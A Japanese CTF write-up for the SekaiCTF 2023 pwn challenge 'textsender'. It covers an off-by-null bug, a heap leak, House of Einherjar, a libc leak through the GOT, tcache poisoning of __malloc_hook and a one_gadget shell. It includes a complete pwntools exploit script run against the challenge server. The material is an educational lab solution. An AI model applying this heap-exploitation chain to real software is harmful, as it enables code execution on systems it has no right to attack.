🐻‍❄️

【pwn】 SekaiCTF 2023 writeup

2023/08/28に公開

SekaiCTFで出題されたtextsenderのwriteupです.
House of einherjarを使ってmalloc hookをone gadgetで上書きしシェルを取得するまでの大まかな流れをまとめました.

解析

    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x3ff000)

canaryとPIEがオフになっています.libcのバージョンは2.32です.

プログラム自体の動作としては以下の6つが定義されています.(cnt変数はmain関数で定義されており,必要な関数には参照が渡されています)

  1. set setnder: sender構造体に "Sender: {input}"を入力しobj.senderに保存
  2. add message: p,recv,msg構造体をheapに確保し入力を要求
  3. edit message: getline関数で取得した文字列と一致するrecvを持つmessageのmsgメンバを変更
  4. print all: すべてのmessage構造体のrecvメンバとmsgメンバの中身を出力
  5. send all: obj.senderの中身とcnt分のmessageをfreeする.sender, (msg, recv, p)の順
構造体
struct sender {
    char c[0x78];
};

struct p {
    struct recv *r;
    struct msg *m;
};
struct recv {
    char c[0x78];
};
struct msg {
    char c[0x1f8];
};

脆弱性

Off by one

文字列の入力受付はinputという関数で行われています.
ghidraでデコンパイルすると以下のようなコードになります.

input
void input(undefined8 ptr,undefined8 str,uint length)
{
  size_t buflen;
  char buf [9];
  ushort short_buflen;
  
  buf[0] = '%';
  sprintf(buf + 1,"%d",(ulong)length);
  buflen = strlen(buf);
  short_buflen = (ushort)buflen;
  buf[(int)(uint)short_buflen] = 's';
  buf[(int)(short_buflen + 1)] = '%';
  buf[(int)(short_buflen + 2)] = '*';
  buf[(int)(short_buflen + 3)] = 'c';
  buf[(int)(short_buflen + 4)] = '\0';
  printf("%s",str);
  __isoc99_scanf(buf,ptr);
  return;
}

このコードは最終的にscanf("%{length}s*c\0", ptr)を実行します.scanfにおいて%sはnull終端文字を挿入するので,引数として与えられるlengthは書き込み可能なbyte数-1でなければいけません.
しかし,add messageにおいても,edit messageにおいても書き込み可能なbyte数ちょうど与えられているため,off by one(off by null)脆弱性が発生します.

Heap Leak

edit messageでは任意の長さの入力を受け取ります.その後,入力された長さだけrecv構造体のはじめから1byteずつ比較を行い,すべて一致した場合,msg構造体を書き換えることができます.

recv構造体の後ろにfreeされた領域がある場合を考えると, Safe linkingによってtcacheの末尾に入っている領域のfdはheap base >> 12になるので,これをleakすることでheap baseを知ることができます.

攻撃

off by null脆弱性とheap leakがある場合,House of Einherjarが成立することが知られています.(How2Heap PoC)

実際に試してみましょう.
まず,wrapper関数を用意します.

入力はscanfを介して行われるため,\xb\x20が入力された場合例外を投げるようにしてあります.

wrapper
    def set_sender(sender: bytes):
        if p8(0x0B) in sender:
            raise Exception("Not allowed")
        sla(b"> ", i2b(1))
        sla(b": ", sender)
        return True

    def add_msg(recver: bytes, msg: bytes):
        if p8(0x20) in recver or p8(0x20) in msg:
            raise Exception("Not allowed")
        if p8(0x0B) in recver or p8(0x0B) in msg:
            raise Exception("Not allowed")
        sla(b"> ", i2b(2))
        if not b"You" in t.recvn(10):
            t.sendline(recver)
            sla(b": ", msg)

    def edit_msg(name: bytes, msg: bytes) -> bytes:
        sla(b"> ", i2b(3))
        sla(b": ", name)
        buf = t.recvline()
        if not b"[-]" in buf:
            sla(b": ", msg)
            return buf[14:]
        else:
            return b""

    def print_all() -> bytes:
        sla(b"> ", i2b(4))
        return t.recvuntil(b"------- MENU -------")[:-20]

    def send_all():
        sla(b"> ", i2b(5))

    def exit():
        sla(b"> ", i2b(6))

heap leak

前述の通り,recv構造体の後ろにfreeされた領域を作成しbruteforceしています.

    recver = b"A"
    add_msg(b"?", b"@")
    set_sender(b"s")
    send_all()
    set_sender(b"s")
    add_msg(recver, b"@")
    edit_msg(b"?" * 0x100, b"")
    set_sender(b"s")

    heap_base = 0
    for i in range(0x405, 0xFFF):
        if i & 0xFF == 0xA or i & 0xFF00 == 0xA00:
            continue
        payload = recver.ljust(0x78, b"\x00") + p64(0x1F1) + p64(i)
        if edit_msg(payload, b"?"):
            heap_base = i << 12
            break
    if not heap_base:
        warn("Failed to leak heap_base")
        return
    info(f"{heap_base=:x}")


無事にheapがleakできたので,今後使う定数を定義しておきます.

    pos1 = heap_base + 0x1000
    real_msg = heap_base + 0x1DD0
    fake_p_list = real_msg + 0x20

House of einherjar

次にrecv構造体でoff by nullを起こしてmessage構造体をfreeしたときにbackwards consolidationが起こるようにします.

    for _ in range(5):
        add_msg(b"?", b"!")
    fake_chunk_addr = heap_base + 0x1C10
    add_msg(b"?", b"!" * 0xE0 + p64(0) + p64(0x4D1) + p64(fake_chunk_addr) * 2)
    add_msg(b"?", p64(ptr_guard(pos1, fake_p_list)) * 0x30)
    set_sender(b"s")
    add_msg(b"?" * 0x70 + p64(0x4D0), b"@")  # victim
    edit_msg(b"?" * 0x300, b"")  # padding
    send_all()


message構造体やsenderの領域とかぶる領域をunsorted binに入れることができました.

libc leak & tcache poisoning

PIEが無効なので,pをGOTに書き換えることでlibc leakができます.set senderを使って先程確保したunsorted binから領域を切り出してpをかきかえます.

それと同時に0x200のtcache poisoningも行います.

    # leak libc
    got_puts = 0x404028
    for _ in range(9):  # empty tcache + fastbin
        set_sender(b"!")
    set_sender(b"A")
    set_sender(b"A")
    ## fake p
    fake_p = heap_base + 0x1EC0
    set_sender(p64(0x21) + p64(ptr_guard(pos1, fake_p))[:-2])

    ## fake msg1
    set_sender(p64(0) * 4 + p64(0x201) + p64(ptr_guard(pos1, heap_base + 0x1DE0)))
    fake_msg = fake_p + 0x70

    add_msg(
        b"r",
        p64(0) * 2
        + p64(ptr_guard(pos1, fake_msg))
        + p64(0)
        + p64(ptr_guard(pos1, fake_p_list + 0x20))
        + p64(0)
        + p64(ptr_guard(pos1, fake_p_list + 0x30)),
    )
    add_msg(p64(0) * 4 + p64(got_puts), b"@")

    buf = print_all().split(b"\n")[2]
    libc_base = s2u64(buf[buf.find(b") ") + 2 : buf.rfind(b":")]) - 0x77EC0
    info(f"{libc_base=:x}")

    try:
         set_sender(p64(0) + p64(ptr_guard(pos1, libc_base + libc.sym["__malloc_hook"])))
    except:
        return

大まかに以下の3つを同時並行で行っています.

  • 0x20の領域を2つ偽造 (add messageを行ったときにtcacheに不正な値が入ってコケないように)
  • 0x200のtcachebinにunsorted binで書き換えられる場所を入れ,前と同様にしてmalloc_hookに書き換え
  • print allでlibc leak


実行した結果しっかり0x200のtcachebinにmalloc hookが入ってること,0x20のtcachebinが偽造したところを指していることが確認できます.

one gadget

最後にmalloc_hookをone gadgetに書き換えてシェルを呼び出します.

    add_msg(b"?", b"@")
    add_msg(b"?", p64(libc_base + 0xCEB71))
    sla(b"> ", i2b(1))
    t.sendline(b"cat flag.txt")

:tada:
🎉

スクリプト

最終的なスクリプトが以下になります

solve.py
from pwn import *

context.arch = "amd64"
context.bits = 64
context.terminal = "tmux splitw -h".split()
context.log_level = "DEBUG"

s2sh = lambda pl: b"".join([p8(int(pl[i : i + 2], 16)) for i in range(0, len(pl), 2)])
s2u64 = lambda s: u64(s.ljust(8, b"\x00"))
i2b = lambda x: f"{x}".encode()
ptr_guard = lambda pos, ptr: (pos >> 12) ^ ptr


def solve():
    sa = lambda x, y: t.sendafter(x, y)
    sla = lambda x, y: t.sendlineafter(x, y)

    def set_sender(sender: bytes):
        if p8(0x0B) in sender:
            raise Exception("Not allowed")
        sla(b"> ", i2b(1))
        sla(b": ", sender)
        return True

    def add_msg(recver: bytes, msg: bytes):
        if p8(0x20) in recver or p8(0x20) in msg:
            raise Exception("Not allowed")
        if p8(0x0B) in recver or p8(0x0B) in msg:
            raise Exception("Not allowed")
        sla(b"> ", i2b(2))
        if not b"You" in t.recvn(10):
            t.sendline(recver)
            sla(b": ", msg)

    def edit_msg(name: bytes, msg: bytes) -> bytes:
        sla(b"> ", i2b(3))
        sla(b": ", name)
        buf = t.recvline()
        if not b"[-]" in buf:
            sla(b": ", msg)
            return buf[14:]
        else:
            return b""

    def print_all() -> bytes:
        sla(b"> ", i2b(4))
        return t.recvuntil(b"------- MENU -------")[:-20]

    def send_all():
        sla(b"> ", i2b(5))

    def exit():
        sla(b"> ", i2b(6))

    # heap leak
    recver = b"A"
    add_msg(b"?", b"@")
    set_sender(b"s")
    send_all()
    set_sender(b"s")
    add_msg(recver, b"@")
    edit_msg(b"?" * 0x100, b"")
    set_sender(b"s")

    heap_base = 0
    for i in range(0x405, 0xFFF):
        if i & 0xFF == 0xA or i & 0xFF00 == 0xA00:
            continue
        payload = recver.ljust(0x78, b"\x00") + p64(0x1F1) + p64(i)
        if edit_msg(payload, b"?"):
            heap_base = i << 12
            break
    if not heap_base:
        warn("Failed to leak heap_base")
        return
    info(f"{heap_base=:x}")
    pos1 = heap_base + 0x1000
    real_msg = heap_base + 0x1DD0
    fake_p_list = real_msg + 0x20
    send_all()

    # empty tcachebin 0x80
    set_sender(b"s")
    set_sender(b"s")

    # overlap unsorted
    for _ in range(5):
        add_msg(b"?", b"!")
    fake_chunk_addr = heap_base + 0x1C10
    add_msg(b"?", b"!" * 0xE0 + p64(0) + p64(0x4D1) + p64(fake_chunk_addr) * 2)
    add_msg(b"?", p64(ptr_guard(pos1, fake_p_list)) * 0x30)
    set_sender(b"s")
    add_msg(b"?" * 0x70 + p64(0x4D0), b"@")  # victim
    edit_msg(b"?" * 0x300, b"")  # padding
    send_all()

    # leak libc
    got_puts = 0x404028
    for _ in range(9):  # empty tcache + fastbin
        set_sender(b"!")
    set_sender(b"A")
    set_sender(b"A")
    ## fake p
    fake_p = heap_base + 0x1EC0
    set_sender(p64(0x21) + p64(ptr_guard(pos1, fake_p))[:-2])

    ## fake msg1
    set_sender(p64(0) * 4 + p64(0x201) + p64(ptr_guard(pos1, heap_base + 0x1DE0)))
    fake_msg = fake_p + 0x70

    add_msg(
        b"r",
        p64(0) * 2
        + p64(ptr_guard(pos1, fake_msg))
        + p64(0)
        + p64(ptr_guard(pos1, fake_p_list + 0x20))
        + p64(0)
        + p64(ptr_guard(pos1, fake_p_list + 0x30)),
    )
    add_msg(p64(0) * 4 + p64(got_puts), b"@")

    buf = print_all().split(b"\n")[2]
    libc_base = s2u64(buf[buf.find(b") ") + 2 : buf.rfind(b":")]) - 0x77EC0
    info(f"{libc_base=:x}")

    try:
        set_sender(p64(0) + p64(ptr_guard(pos1, libc_base + libc.sym["__malloc_hook"])))
    except:
        return
    add_msg(b"?", b"@")
    add_msg(b"?", p64(libc_base + 0xCEB71))
    sla(b"> ", i2b(1))
    t.sendline(b"cat flag.txt")
    t.interactive()


debug = 0
radare = 0
while True:
    # t: tubes.process.process = process( "./textsender", env={"LD_PRELOAD": "./libc-2.32.so"})
    t: tubes.remote.remote = remote("chals.sekai.team", 4000)
    elf: ELF = ELF("./textsender")
    libc: ELF = ELF("./libc-2.32.so")
    if debug:
        script = """
        """
        if radare:
            util.proc.wait_for_debugger(util.proc.pidof(t)[0])
        else:
            gdb.attach(t, script)
    solve()
    t.close()

おわりに

How2Heap様様

Discussion